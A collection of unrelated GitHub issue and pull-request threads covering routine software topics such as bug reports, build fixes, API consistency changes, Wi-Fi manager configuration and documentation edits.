Hello! Would you consider allowing a fabric port, or doing one?
Amazing mod! (really like the idea)
Minecraft Version: 1.18.1
Forge Version:
Mod Version:
Single Player or Server:
Describe problem (what you were doing; what happened; what should have happened):
Log file link:
Video/images/gifs (direct upload or link):

i have so many forge mods to suppport and more that i want to make, that i dont have time. but its open source if people want to port in a pull request or a fork they are welcome to <3


Will you update to 1.8?

Hello I was wondering if you will update his plugin to 1.8 or if there is a snapshot download I can use thanks!

It already works in 1.8, if you are having issues please paste your error log to https://gist.github.com/ and paste the link here.


Fixes to serve-docs script.

Send SIGKILL to previous Jekyll process rather than SIGTERM, which
does not kill the process on Linux.
Return to original directory after running Jekyll command so that
rebuild command works.

Counterpart to #45


Create microbenchmark for API

Create a set of simple standard scenario with a combination of well known attributes and metrics and benchmark size, serialization time & deserialization time.
Will need to quickly qualify API variations and evolution

Done.


ROG Control Center - Permission issues

Describe the bug
On the latest channel of bluefin-dx-asus-nvidia the  rog-control-center cannot be started as user, nor as superuser (extensions disabled). Two separate errors are produced based on whether sudo is used.

Without sudo error "Permission denied": $ RUST_BACKTRACE=full rog-control-center .

thread 'main' panicked at rog-control-center/src/main.rs:50:39:
called `Result::unwrap()` on an `Err` value: Os { code: 13, kind: PermissionDenied, message: "Permission denied" }
stack backtrace:
   0:     0x5608f2a840ce - <std::sys_common::backtrace::_print::DisplayBacktrace as core::fmt::Display>::fmt::hbf3511293b3072d4
   1:     0x5608f2359b2c - core::fmt::write::hb276ebab965f503a
   2:     0x5608f2a52bd2 - std::io::Write::write_fmt::h0c1d574aec58e4a0
   3:     0x5608f2a8970f - std::sys_common::backtrace::print::hcedf978e05feb4ac
   4:     0x5608f2a88f18 - std::panicking::default_hook::{{closure}}::h9632069b5fabea71
   5:     0x5608f2a89ff0 - std::panicking::rust_panic_with_hook::h963e59e90ed80f7c
   6:     0x5608f2a89a60 - std::panicking::begin_panic_handler::{{closure}}::h46d482f088032edf
   7:     0x5608f2a899b6 - std::sys_common::backtrace::__rust_end_short_backtrace::h2952a37729ebb4e8
   8:     0x5608f2a899a3 - rust_begin_unwind
   9:     0x5608f22bfed4 - core::panicking::panic_fmt::h5663ee5bb5d5c59a
  10:     0x5608f22c02f2 - core::result::unwrap_failed::hdaf878459c642445
  11:     0x5608f23130d9 - rog_control_center::main::{{closure}}::hd7467b59e4738bcb
  12:     0x5608f23080fa - rog_control_center::main::hab47692ad9e33ebf
  13:     0x5608f22f6456 - std::sys_common::backtrace::__rust_begin_short_backtrace::h48d2a55a88e67ee5
  14:     0x5608f23138be - main
  15:     0x7f73fafd0088 - __libc_start_call_main
  16:     0x7f73fafd014b - __libc_start_main_impl
  17:     0x5608f22f3755 - _start
  18:                0x0 - <unknown>
Aborted (core dumped)

With sudo, "Tray unable to be initialised" :  $ sudo rog-control-center

[ERROR rog_control_center::tray] Tray unable to be initialised: TrayError: Os(InputOutput(Os { code: 2, kind: NotFound, message: "No such file or directory" }))
    	at /builddir/build/BUILD/asusctl-6.0.6/vendor/betrayer/src/platform/linux/mod.rs:57:20. Do you have a system tray enabled?
thread 'main' panicked at rog-control-center/src/main.rs:209:40:
called `Result::unwrap()` on an `Err` value: Other("Could not initialize backend.\nError from Winit backend: Error initializing winit event loop: os error at /builddir/build/BUILD/asusctl-6.0.6/vendor/winit/src/platform_impl/linux/mod.rs:786: neither WAYLAND_DISPLAY nor WAYLAND_SOCKET is set; note: enable the `winit/x11` feature to support X11\nError from LinuxKMS backend: Error opening session with libseat: Function not implemented\nNo backends configured.")
note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace
Aborted

What did you expect to happen?

rog-control-center starts (without errors).
rog-control-center can be started as user, not superuser.

Output of rpm-ostree status
State: idle
AutomaticUpdates: stage; rpm-ostreed-automatic.timer: no runs since boot
Deployments:
● ostree-image-signed:docker://ghcr.io/ublue-os/bluefin-dx-asus-nvidia:latest
                   Digest: sha256:ed8475ec4bbb1c3fd1c2980ac69f844b203690546d1db5c1aaac585392e1a209
                  Version: 40.20240513.0 (2024-05-13T18:06:35Z)

  ostree-image-signed:docker://ghcr.io/ublue-os/bluefin-dx-asus-nvidia:latest
                   Digest: sha256:2092d942a3a88544e31e97c3d0b2da12afa01efb819c4479cbb2267531426ced
                  Version: 40.20240503.0 (2024-05-03T16:25:40Z)

  ostree-image-signed:docker://ghcr.io/ublue-os/bluefin-dx-asus-nvidia:latest
                   Digest: sha256:484f9e9b8f3cbefbd5ed3e0b86a840b462d9aa982e387a6fd507f8749c7ac805
                  Version: 40.20240423.0 (2024-04-24T14:54:21Z)
                   Pinned: yes

Output of groups
myuser wheel docker lxd incus-admin libvirt

Extra information or context
System
EDIT: Link to ujust device-info: https://paste.centos.org/view/265c3452
output of inxi -Fx
System:
  Kernel: 6.8.9-666.rog.fc40.x86_64 arch: x86_64 bits: 64 compiler: gcc
    v: 2.41-34.fc40
  Desktop: GNOME v: N/A Distro: Wolfi
Machine:
  Type: Laptop System: ASUSTeK product: ROG Zephyrus G14 GA401QM_GA401QM
    v: 1.0 serial: <superuser required>
  Mobo: ASUSTeK model: GA401QM v: 1.0 serial: <superuser required>
    UEFI: American Megatrends LLC. v: GA401QM.408 date: 05/13/2021
Battery:
  ID-1: BAT0 charge: 54.8 Wh (95.6%) condition: 57.3/76.0 Wh (75.5%)
    volts: 15.8 min: 15.8 model: ASUSTeK ASUS Battery status: discharging
CPU:
  Info: 8-core model: AMD Ryzen 9 5900HS with Radeon Graphics bits: 64
    type: MT MCP arch: Zen 3 rev: 0 cache: L1: 512 KiB L2: 4 MiB L3: 16 MiB
  Speed (MHz): avg: 586 high: 1397 min/max: 400/4680 cores: 1: 1396 2: 400
    3: 400 4: 1397 5: 400 6: 400 7: 400 8: 400 9: 400 10: 400 11: 400 12: 400
    13: 1397 14: 400 15: 400 16: 400 bogomips: 105411
  Flags: avx avx2 ht lm nx pae sse sse2 sse3 sse4_1 sse4_2 sse4a ssse3 svm
Graphics:
  Message: Required tool lspci not installed. Check --recommends
  Display: wayland server: N/A compositor: gnome-shell driver: N/A
    resolution: no compositor data
  API: EGL Message: EGL data requires eglinfo. Check --recommends.
Audio:
  Message: No device data found.
  API: ALSA v: k6.8.9-666.rog.fc40.x86_64 status: kernel-api
Network:
  Message: Required tool lspci not installed. Check --recommends
  IF-ID-1: tailscale0 state: unknown speed: -1 duplex: full mac: N/A
  IF-ID-2: wlp2s0 state: up mac: <filter>
Bluetooth:
  Device-1: MediaTek Wireless_Device driver: btusb v: 0.8 type: USB
    bus-ID: 3-4:3
  Report: rfkill ID: hci0 rfk-id: 0 state: up address: see --recommends
Drives:
  Local Storage: total: 953.87 GiB used: 67.6 GiB (7.1%)
  ID-1: /dev/nvme0n1 vendor: SK Hynix model: HFM001TD3JX013N
    size: 953.87 GiB temp: 28.9 C
Partition:
  Message: No partition data found.
Swap:
  ID-1: swap-1 type: zram size: 8 GiB used: 0 KiB (0.0%) dev: /dev/zram0
Sensors:
  Src: /sys System Temperatures: cpu: 43.9 C mobo: 34.0 C gpu: amdgpu
    temp: 43.0 C
  Fan Speeds (rpm): N/A
Info:
  Memory: total: 32 GiB note: est. available: 30.75 GiB used: 3.32 GiB (10.8%)
  Processes: 418 Uptime: 14m Init: systemd
  Packages: 183 Compilers: gcc: 13.2.0 Shell: Bash v: 5.2.21 inxi: 3.3.34

Expected cause of problem
The latest update brought rog-control-center version 6, which seems to have issues in situations where version 5 worked.
Previous issues
This issue was preceded by problems with rog-control-center version 5, where the program could not be started without sudo. When started without sudo, rog-control-center gave "Permission denied" error below.
thread 'main' panicked at rog-control-center/src/main.rs:180:39:
called `Result::unwrap()` on an `Err` value: Os { code: 13, kind: PermissionDenied, message: "Permission denied" }
stack backtrace:
   0:     0x559c83eb9599 - <std::sys_common::backtrace::_print::DisplayBacktrace as core::fmt::Display>::fmt::h107faefc94c77012
   1:     0x559c83a69fe0 - core::fmt::write::h453f927c8788e8ad
   2:     0x559c83e81aa1 - std::io::Write::write_fmt::h1abdf1b52633ad54
   3:     0x559c83ebb2be - std::sys_common::backtrace::print::hf49a4eb04fb21139
   4:     0x559c83eba9e0 - std::panicking::default_hook::{{closure}}::h6471197d15e93e55
   5:     0x559c83ebbc23 - std::panicking::rust_panic_with_hook::h78d153760d0851d0
   6:     0x559c83ebb610 - std::panicking::begin_panic_handler::{{closure}}::he79ddabedad3721d
   7:     0x559c83ebb566 - std::sys_common::backtrace::__rust_end_short_backtrace::h5371d05ae7d0d46d
   8:     0x559c83ebb55f - rust_begin_unwind
   9:     0x559c838e5d74 - core::panicking::panic_fmt::h316a44f38297e4ae
  10:     0x559c838e62e2 - core::result::unwrap_failed::h40d0468330705072
  11:     0x559c8392ccae - rog_control_center::main::hf6c19180e24750b4
  12:     0x559c83911556 - std::sys_common::backtrace::__rust_begin_short_backtrace::hc9e4c9e8869affeb
  13:     0x559c8392d7b4 - main
  14:     0x7f0fb6c14088 - __libc_start_call_main
  15:     0x7f0fb6c1414b - __libc_start_main_impl
  16:     0x559c83911215 - _start
  17:                0x0 - <unknown>
Aborted (core dumped)

Update seems to have removed the kernel arguments for nvidia dGPU. Running ujust nvidia to add kernel arguments solved the problem.


Fix post-effect-queue

I tried to make most of the current post effects working again. I'm not sure if post-effect-queue is going to be superseded by post-effect-pass soon.
The examples\post_effects\index.html should work now as intended.
I mainly fixed these problems:

If the camera is not preset in the scene when adding post effects, the index of the PostEffectLayer was wrong. This prevented the example scene to work.
addEffect: The input target of the first effect also replaced the depthLayer.renderTarget
the offscreen render target was incompatible to the depthbuffer blitting because it missed the stencil flag
the depthMap is now requested by declaring needsDepthBuffer in the effect only. All other functions like _requestDepthMap are private now
Added some clean up code for removing the offscreen targets

I confirm I have signed the Contributor License Agreement.

This looks great - nice job. Hey, @e-strokov, I did a quick review and it looks OK to me, although this is a part of the graphics engine I didn't write. Take a look and let me know if you are OK for me to merge...


Restored consistency in certain query responses

TL;DR Websocket and RESTful API now respond with the same JSON object's and lists are properly enclosed by an object.
The following is a copy of  sauterl/cineast@940f74c2ee13d78b8427c3de214e611189e23249 describing the consequences of the change:

Restored consistency in certain query responses
The WebSocket and RESTful API now returns the same JSON objects for

/find/metadata/by/id
/find/objects/by/id
/find/segments/by/id

Each of the corresponding RESTful action handler's now do have the same result
type as the corresponding WebSocket handlers have.
The main advantage is that both APIs do now have similar response
objects.
Further, there is a minor advantage in not sending top level arrays: A
few JSON processors cannot handle such documents and would therefore not
be able to be used in a cineast context.

I suggest to review the responses of the entire RESTful API, as I recently realised, that there are other actions without top-level objects (see #69  ).

The change is fine from my perspective. However, some minor adjustments to Vitrivr NG will be required.
I agree with Loris that maybe we should put some effort into unifying the responses of both the RESTful and the WebSocket API.

Very well, in that case I will merge this for now.


AP IP address.

Hi,
How this application specify <IP_ADDRESS> as AP IPv4 address.
I cannot find source code line where It specify it.
Just to confirm It is running in both AP and STA mode. after connect to any AP.
Is web files are part of .bin image?

I am using Kolban C++ WIFI class. I get AP IPv4 address  =<IP_ADDRESS>
I need to integrate your JS code into my angular web application.
I am using Kolban C++ classes. I guess to need to two instance of WIFI class object. one for AP and other for STA mode.

Hi,
It's just right there:
https://github.com/tonyp7/esp32-wifi-manager/blob/d7f51b587460cc905f9451f14451c9802fe3bbeb/wifi_manager/main/wifi_manager.c#L438-L441

ok. it is here
/* assign a static IP to the AP network interface */
	tcpip_adapter_ip_info_t info;
	memset(&info, 0x00, sizeof(info));
	IP4_ADDR(&info.ip, 192, 168, 1, 1);
	IP4_ADDR(&info.gw, 192, 168, 1, 1);
	IP4_ADDR(&info.netmask, 255, 255, 255, 0);
	ESP_ERROR_CHECK(tcpip_adapter_set_ip_info(TCPIP_ADAPTER_IF_AP, &info));


fix case of the kubeapiserveroperatorconfig type

APIServer instead of Apiserver.
/assign @sttts

I always liked Apiserver. But fine with me, we have APIServer elsewhere. So let's be consistent.
lgtm if it is green.


Issues with tags on Softlayer

The characters that Softlayer supports for tags are limited: http://sldn.softlayer.com/reference/services/SoftLayer_Tag/setTags

The characters permitted are a-z, 0-9, whitespace, _ (underscore), - (hypen), . (period), and : (colon). All other characters will be stripped away.

When the instance-plugin runs terraform, it detects a lot of deltas because the tags (which contains upper case, /, and =) cannot be set:
[WARN] /go/bin/terraform-provider-softlayer overrides an internal plugin for softlayer-provider.
  If you did not expect to see this message you will need to remove the old plugin.
  See https://www.terraform.io/docs/internals/internal-plugins.html
softlayer_virtual_guest.instance-1490622284: Refreshing state... (ID: 29990885)
softlayer_virtual_guest.instance-1490622284: Modifying... (ID: 29990885)
  tags.1516831048: "infrakit.group:workers" => "infrakit.group:workers"
  tags.2007221278: "name:instance-1490622284" => "Name:instance-1490622284"
  tags.2010887493: "" => "infrakit-link:f9Wb2FMIaD9bydoE"
  tags.2048522264: "" => "infrakit-link-context:swarm/cye5nlr6qgfjw33c80e05elnq/worker"
  tags.2127283095: "swarm-id:cye5nlr6qgfjw33c80e05elnq" => "swarm-id:cye5nlr6qgfjw33c80e05elnq"
  tags.2875799547: "infrakit-link-context:swarmcye5nlr6qgfjw33c80e05elnqworker" => ""
  tags.3780940857: "" => "infrakit.config_sha:aUAZntFm4TVOXdsJQUIAbhRezAQ="
  tags.583018450:  "infrakit.config_sha:auazntfm4tvoxdsjquiabhrezaq" => ""
  tags.89971309:   "infrakit-link:f9wb2fmiad9bydoe" => ""
softlayer_virtual_guest.instance-1490622284: Modifications complete (ID: 29990885)

Chatted with @chungers on this; the proposal is that the supported tag chars will be [a-z][0-9], :, -, and _.
Currently, there is a tag like Name:instance-1490622284 and this will change to:

Also the / delimiters for this tag infrakit-link-context:swarm/cye5nlr6qgfjw33c80e05elnq/worker will change to use ::, for example:

The hashing algorithm will only support [a-z][0-9] and : will be reserved for delimiters.
Please verify @chungers, thanks!

@kaufers
The restriction applies to both the name of the tag and the value of the tag, right?
That seems reasonable.   There are a couple of places to look:

links : https://github.com/docker/infrakit/blob/master/pkg/types/link.go#L10
SHA: https://github.com/docker/infrakit/blob/master/pkg/plugin/group/types/types.go#L112

Fixed in #461

@chungers can you close this issue?


Add Animated Mouse Tracking Circles Effect to Document

Fixes #109
This pull request introduces an animated mouse tracking effect to the document using circles that follow the mouse pointer. Key features include:
Circle Creation: Multiple circles are dynamically styled to follow the mouse movement.
Color Customization: Each circle is assigned a unique color from a predefined palette.
Animation Effect: Circles shrink in size as they follow the mouse, creating a visually appealing trailing effect.
Responsive Design: The circles are designed to remain centered on the mouse pointer and adapt to various screen sizes.
https://github.com/user-attachments/assets/1c483929-7c32-44b0-bbc2-5f6e12fcc2c6

Ur Idea is good. But it might need a few changes. Can you join our discord server so we can discuss this further?

Did so, can you also mention what changes you want

Can you please mention what to do now

Hello @akhulisumit sorry I have been away for a few days. Can u create a post in the issues channel regarding this and we can talk there


Added usage and a couple of tests

Last minute PR with a couple of tests and usage documentation

As discussed over Slack, Saturday is a day off so we're making an exception and letting me merge this PR for milestone 2.


The freaking null object reference

Describe your bug here.
i get null object reference when i try to make another story menu in my mod

Command Prompt/Terminal logs (if existing)
No response
Are you modding a build from source or with Lua?
Source
What is your build target?
Windows
Did you edit anything in this build? If so, mention or summarize your changes.
NO

that's not a bug that's sign isomething is missing

check those files in lines the game printed on log and go check them. Maybe you'll find a solution


Elaborate the blurring line between hard disks and ram

[ ] I have read freeCodeCamp's contribution guidelines.
[ ] My pull request has a descriptive title (not a vague title like Update index.md)
[ ] My pull request targets the master branch of freeCodeCamp.
[ ] None of my changes are plagiarized from another source without proper attribution.
[ ] My article does not contain shortened URLs or affiliate links.

If your pull request closes a GitHub issue, replace the XXXXX below with the issue number.
Closes #XXXXX

@raghavbhartia thanx for the pr :balloon:


packet: Node type not required when specified reservation IDs for all nodes

Not sure how it behaves when we use next-available though.

This is similar to https://github.com/kinvolk/lokomotive/issues/511


Gorm 如何通过model获取表名

Your Question

The document you expected this should be explained

Expected answer

use this.
tableName := db.NamingStrategy.TableName(reflect.TypeOf(Product{}).Name())


Make 'vagrant reload --provision' idempotent so it can be our upgrade path

When trying to run 'vagrant reload --provision' or 'vagrant provision' I get the following error:
==> default: ++ python /srv/zulip/provision.py
==> default: Traceback (most recent call last):
==> default:   File "/srv/zulip/provision.py", line 10, in
==> default:
==> default: import pbs as sh
==> default: ImportError
==> default: :
==> default: No module named pbs
The SSH command responded with a non-zero exit status. Vagrant
assumes that this means the command failed. The output for this command
should be in the log above. Please read the output to determine what
went wrong.
Not sure what is causing this, note that few lines before this error is shown I see:
==> default: ++ sudo apt-get install -y python-pbs
==> default: Reading package lists...
==> default: Building dependency tree...
==> default: Reading state information...
==> default: python-pbs is already the newest version.
I'm suspecting this is caused because in this case provision.py is run in the virtual environment 'zulip-venv' which does not have pbs or sh installed where it should be run globally. Any ideas?

Yeah the provision.py script has only been tested for installation, not upgrades.  We will very likely want to change that now that we're adding the first new dependencies since the script was written.
As a workaround one can do vagrant destroy && vagrant up but that takes like 10 minutes.
So I think this ticket should become making vagrant provision idempotent on upgrade (and agreed we'll need to install python-pbs in the requirements.txt file as well or have provision.py escape the venv).

Another faster workaround I used was to ssh into the vagrant instance, deactivate the venv, and run provision.py manually.

Yes, though that will currently result in some minor messyness like ~/.bashrc getting duplicate copies of the code to source the venv at the end.

Added #330 to fix the requirements.txt part of the issue.  Still need to address the idempotentcy issues.

@timabbott, we don't get the error now and as far as the software which is installed is concerned it looks idempotent as well. The only problem I see is that some work can be avoided when we re-provision e.g. the virtual environments are recreated from scratch, we can avoid that.

Yeah, I think it'd be worth adding checks to potentially avoid redoing some of the slower steps (npm install, which we could manage the same way we do pip install; phantomjs download, etc.).

Cool.

Working on this now.


Can not writeln(hashset) directly

Have to use writeln(hashset[]).
is this design on purpose?

The reasons that this won't work are:

HasSet isn't a forward range - calling popFront on it would actually remove items from the set, so it would be empty after the call to writeln.
It's not copyable - the set's destructor releases the set's memory
It does not have a toString

It's possible to implement toString for HashSet, but it has not been done yet. I'm not sure that it's worth the effort because as you pointed out simply slicing the set will give access to the items in the set for printing.

Well I think it's more of a style/habbit thing. As a new user, I thought collections support toString, so when I encountered this, I was supprised that it does not work. I imagin this might occur to other newbies. But if you document it, I think it would be fine.

All classes support toString (Or at least the version they inherit from Object), but not all structs do.

This is a general problem with non-copyable ranges. Partially the problem is with writeln, it does not support non-copyable types in general. In any case I think this is not actionable.

As a new user, I thought collections support toString, so when I encountered this, I was supprised that it does not work. I imagin this might occur to other newbies.

I think new D users should stick to standard D facilities, such as the built in associative arrays instead of HashMap. Using this library effectively requires understanding of advanced topics like allocators and lifetime.


Expose fup-repl through packages

I am using std to configure my repository and want to avoid using overlays where feasible. To that end, I've been using the packages output that most overlays expose (see emacs-overlay as a good example). Would it be possible for fup-repl to be made available this way as well?

Hi, sorry for the late response. In short - no, due to this project's avoidance to depend on nixpkgs.
Once I get to it I'll expose it as a blueprint (https://github.com/gytis-ivaskevicius/nix-patterns/blob/master/07-blueprints-no-nixpkgs/flake.nix#L7)
In a meanwhile may I recommend something like this:
fup-repl = (flake-utils-plus.overlay pkgs null).fup-repl;

TODO:

Update flake schema
Add bluerpints


Grammar and style review edits for Developing-Text-Editor.md

Edits for this issue: https://github.com/eclipse/codewind/issues/519

Looks great! Merging...


feat: emit more detailed slowCommands

This PR adds some more emit events, that'll be used in Playout Gateway to log more filtered and detailed info about slow commands.

Codecov Report

Merging #189 (91bda43) into release37 (1cc6442) will not change coverage.
The diff coverage is n/a.

@@             Coverage Diff             @@
##           release37      #189   +/-   ##
===========================================
  Coverage     100.00%   100.00%
===========================================
  Files             18        18
  Lines            508       508
  Branches          49        49
===========================================
  Hits             508       508

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 1cc6442...91bda43. Read the comment docs.


The problem with method:calculateDataLength()

I encountered a strange issue while testing inserts from k1000 to k1. When inserting in ascending order, the page management behaves normally, but when inserting in descending order, new pages are frequently requested. After conducting breakpoint testing, I believe the issue lies in the calculateDataLength method, particularly in this part of the code:
if (currentDataLen > 0) {
return currentDataLen;
}
When a page splits, the original page always uses the old value instead of recalculating. I understand that you implemented this to avoid repeated calculations, but it seems to have introduced some bugs.
Best regards.

@308twin Could you share your test code to reproduce it? thanks.


[incubator/chartmuseum] Add storage provider configuration options

I've added some rudimentary configuration options to allow chartmuseum container configs to back themselves against S3, GCS, or a persistent volume.
Let me know what you think.

Where would you provide the auth for the S3 bucket?

@cory-klein several ways currently: IAM roles assumption from either kube2iam or the Node's IAM role
or environment variables AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY being set
It also could be possible to mount a volume with the credentials file into /root/.aws in the container's filesystem, but I haven't looked at doing that.

For IAM roles from kube2iam, I think I need to add support for customization of annotations. I'll look at doing that if that's interesting to you.

/ok-to-test
cc: @jdolitsky

@grue @cory-klein I would like to suggest closing this PR, due to another PR which addresses these changes and more (secrets, ingress, etc): #3050
My apologies for not reviewing this sooner. Please comment/review #3050 on whether it supports your use case.
Please submit any improvements not present in #3050 (e.g. NOTES.txt changes) as a separate PR. Thanks. Sorry again for the slow feedback. In any future PRs, please CC me and other chartmuseum contributors: https://github.com/kubernetes-helm/chartmuseum/graphs/contributors


Check EIP712 sigs in tests

Run SDK signing script (sdkSign.ts) first which writes signature generated to json
Run Foundry signing script (foundrySign.s.sol) which compares signature generated against the one generated in step 1.

Would you consider re-implementing get data hash logic in tests? (in other words, don't use library to get order hash in tests)
Imo additional signature check by other language it's not easy to maintain, with linear-growth effort for any new sig types.

Would you consider re-implementing get data hash logic in tests? (in other words, don't use library to get order hash in tests)

No problem, I will move them to tests.

Not sure the reason to verify SDK signing result in the contract repo. I think it should be considered as a part of integration test which focusing on the whole payload.

This is verify that EIP712 payload is correctly formed in the contracts.

The bottom line is that we have no way to validate if a 712 signature payload format is correct using solidity/foundry alone. So it's either this, importing third party tools to validate it in this repo OR keep this repo "clean" and only find out the format is wrong when FE/BE teams are integrating the contracts.

I'm fine with either one since the problem will be caught before deploying on production so the impact is limited. I'm also open to any other ideas about how to validate it.

@pilagod @charlesjhongc I've added payloads and tests for RFQ, LimitOrder and L2Deposit. If you are okay with them, I will move the ts signing scripts to private repo.

I have no other questions 🫡

Signing payload looks good.

@pilagod @charlesjhongc I removed ts signing script and @tokenlon/contracts-lib. After this PR is merged, I will update submodule in private repo and add signing scripts there.


randomize socket suffix

Issue #, if available:
#109, #5
Description of changes:
Replaced socketPathSuffix with random value (generated by getRandomValue()).
Currently, it is a number that increments when EADDRINUSE occurs. This implementation may cause a lot of warnings when combined with specific libraries such as serverless-offline.
By submitting this pull request, I confirm that my contribution is made under the terms of the Apache 2.0 license.

Thanks! Could you fix the getSocketPath test?

@brettstack Thanks for the review! I pushed the fixed test just now.


add Spider sense and curl2scrapy

I added two new tools (browser extension and online tool). I wasn't sure where to put them, so I created a new section.
Feel free to request a change in the section name or whatever.
Cheers!

Hi @croqaz, I've just seen that this wasn't merged, is there any reason?

Oh I'm really sorry! I somehow didn't notice the PR!
Looks good to merge, sorry again for the delay!


Add support for environment variables

@rradczewski, this needs a bit of explanation in the README, but otherwise I think it's fine. Would you like to do it or shall I?


OAuth2PasswordRequestForm   always error: 'There was an error parsing the body'

if i use OAuth2PasswordRequestForm,  then  response : "detail": "There was an error parsing the body"
but i use body  everything is ok!  why?
`
@router.post("/token", response_model=schemas.Token)
async def login_for_access_token(form_data: OAuth2PasswordRequestForm = Depends(), db:Session = Depends(get_db)):
async def login_for_access_token(*, username: str = Body(...), password: str = Body(...), db:Session = Depends(get_db)):
user = authenticate_user(db, form_data.username, form_data.password)
if not user:
    raise HTTPException(
        status_code=status.HTTP_401_UNAUTHORIZED,
        detail="Incorrect username or password",
        headers={"WWW-Authenticate": "Bearer"},
    )
access_token_expires = timedelta(minutes=ACCESS_TOKEN_EXPIRE_MINUTES)
access_token = create_access_token(
    data={"sub": user.username}, expires_delta=access_token_expires
)
return {"access_token": access_token, "token_type": "bearer"}

`

I assume you solved it, thanks for closing the issue :+1:

If you want to use the OAuth2PasswordRequestForm you need to install python-multipart package because OAuth2 uses "form data" for sending the username and password

Just in case you are like me. After you install python-multipart, remember to rebuild your docker container. Ha ha.


Added Feature Request, Issue and Pull Request templates

Signed-off-by: Chang Yong Lik<EMAIL_ADDRESS>Description

Added PR and issue templates

How was this patch tested?
None
Does this PR introduce any user-facing changes?
Allows users to write PRs and issues with templates
Issues Demo
https://user-images.githubusercontent.com/51813538/182169300-6b0d3436-4182-4dd5-bede-a90d2d01b4ed.mov
PR Demo
https://user-images.githubusercontent.com/51813538/182169925-8d1028e6-cdd6-40a9-9a1c-b3ef9990ffd2.mov

@blrchen @hangfei @xiaoyongzhu
You could play around with the repository below by creating an issue or PRs.
https://github.com/ahlag/feathr

Thanks @ahlag !! Very helpful!


[WIP]: Fixed broken link and checked for specs needing updates

For #158

Note: my apologies for the .DS_Store files being included. I thought I had manually removed them.

@jc-berger, you have to follow the instructions linked from #18. Removing the files is useless because your system creates them automatically (not to mention you don't want to remove files manually all the time).
You also have to fix both of these PRs (remove the files from the list of Git-tracked files and then commit and push the result, so that the PRs get updated):

Follow the instructions to set up you .gitignore file.
Run git rm on the previously committed files.
Commit and push --> the PR will be updated.


CSF label left out of "labels table.txt"

https://github.com/BBillot/SynthSeg/blob/master/data/labels table.txt
(This impacts the usage of the posteriors because CSF is included in them)

Good catch!
I forgot to modify this after retraining the segmentation models, sorry.
Anyway, thanks a lot :)


[P0] Storage: Rename Batching -> Batch

Since batching went out at the very last minute during Preview 4 in both .NET and Java, we missed that our names weren’t aligned.

Java: azure-storage-blob-batch
.NET: Azure.Storage.Blobs.Batching

The architects briefly huddled and decided to make .NET match Java.  We’ll change the namespace, assembly, and package to Azure.Storage.Blobs.Batch.

Also, update the artifact names in the ci.yml as part of the rename

Closed with https://github.com/Azure/azure-sdk-for-net/pull/8350


Upgrade eslint and improve some rules

require empty line at end of file (eol-last)
disallow duplicate function arguments (no-dupe-args)
disallow multiple empty lines (no-multiple-empty-lines)
require variables to be declared separately (one-var)
disallow spaces before function parens (space-before-function-paren)
require display name in all react components (react/display-name)
disallow using undefined varialbes in JSX (react/jsx-no-undef)
require double quotes in JSX (react/jsx-quotes)
make JSX treat React as a used variable (react/jsx-uses-react)
treat variables used in JSX as used variables (react/jsx-uses-vars)
discourage setting state in component mount and update (react/no-did-mount-set-state and react/no-did-update-set-state)
discourage using unknown DOM properties (react/no-unknown-property)
warn if React is missing in JSX files (react/react-in-jsx-scope)
require tags with no children to self-close (react/self-closing-comp)

fixes #18
I’ve tested this on macropod-components and it looks good. Let me know if anything should be reclassified/removed/made more strict!

https://github.com/babel/babel-eslint then we can remove all the silly feature language configurations and get propper not broken jsx and es6 class support

Added in a7a072d.


start

Sorry for this silly question i began to learn reactjs this week, i want to make a web application with reactjs, python(django) and material design.
I see this material-ui component and want to implement it in my web app, but i dont know where to start.
I downloaded the project from git to see the example project but dont undertand it,only have this...
If anyone can advise me how to start using material-ui

@valinol you'll most likely need to use node.js with your django app because material-ui should be bundled using either browserify or webpack.
The Material UI source is written in ES6 and transcompiled into regular JavaScript using BabelJS. However it is not combined into a single file you can load in the browser. That is why you need to bundle it yourself.

For now i just want to see the example projects, So how can i bundle it?Need node.js for it?
sorry if my questions sound very silly, but im absolutely lost.
I've been writing the web app with angularJS and materialangular and now my boss ask me to change to Reacj.js

Yes it requires node.js. I would start with the example app in the Material-UI source code:
https://github.com/callemall/material-ui/tree/master/example
You can still use django, but it would really only be for your HTTP API and not views.

Sigo bastante perdido, he instalado con npm install material-ui, al hacer esto me a dado tres directorios material-ui, react y otro de react, pero no estan los directorios example ni docs dentro de material-ui, estos dos los he clonado con subversion, despues en la carpeta material-ui e ejecutadp npm-install y lo mismo en docs, pero ahora no se como ejecutar el ejemplo... al hacer npm-start me dice
✖ 1327 problems (1327 errors, 0 warnings)
npm ERR! weird error 1
npm WARN This failure might be due to the use of legacy binary "node"

Tambien decir que example si me lo ha instalado bien y he podido ejecutarlo con npm-start

Im still so lost with this , i have use npm install material-ui and have 3 folders, material-ui and react, i have clone example and docs folder  with subversion and try to npm-install then, example folder works fine but doc give me a lot of errors
✖ 1327 problems (1327 errors, 0 warnings)
npm ERR! weird error 1
npm WARN This failure might be due to the use of legacy binary "node"
I have more problems, i start the example app but dont understand how its works, only have a huge app.js file with more than 36000 lines.
I want to start making small things but still i am so lost.


pull request for e2e test at 01/06/2017 23:56:13

:white_check_mark: Validation status: passed
For more details, please refer to the build report.
Note: If you changed an existing file name or deleted a file, broken links in other files to the deleted or renamed file are listed only in the full build report.


Random white screen while using client.

A random white screen appears when using the client, causing the user to relaunch the client in order for it to function again.

This is a known issue


Update CLI extensions available doc

Update CLI extensions available doc.
Triggered by Azure/azure-cli-extensions - TRAVIS_BUILD_ID=494285831
https://github.com/Azure/azure-cli-extensions/commit/b5c6bcb96f5df45f366a0a373ecc7e396ae4d069

OPS Build status updates of commit 227c094:
:clock10: Preparing: average preparing time is 56 sec(s)

OPS Build status updates of commit 227c094:
:clock10: Incremental building: average incremental building time is 13 min(s) 38 sec(s)

OPS Build status updates of commit 227c094:
:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

docs-ref-conceptual/azure-cli-extensions-list.md
:white_check_mark:Succeeded
View (azure-cli-latest) View (azure-cli-2017-03-09-profile) View (azure-cli-2018-03-01-hybrid)

For more details, please refer to the build report.
Note: If you changed an existing file name or deleted a file, broken links in other files to the deleted or renamed file are listed only in the full build report.


Build failing with: "Error: Cannot find module 'LiveScript'" in tests

https://circleci.com/gh/arch-js/arch/63, started after merging #93.
/cc @chrisvfritz

